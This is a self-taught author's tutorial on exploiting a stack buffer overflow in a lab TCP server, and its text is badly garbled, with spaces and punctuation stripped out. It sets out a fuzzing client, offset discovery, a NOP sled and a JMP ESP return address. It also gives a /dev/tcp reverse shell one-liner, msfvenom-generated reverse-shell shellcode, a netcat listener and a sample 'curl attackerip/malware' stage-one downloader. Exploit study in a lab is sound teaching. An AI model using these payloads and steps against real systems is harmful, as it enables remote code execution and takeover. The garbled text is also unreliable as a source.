thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
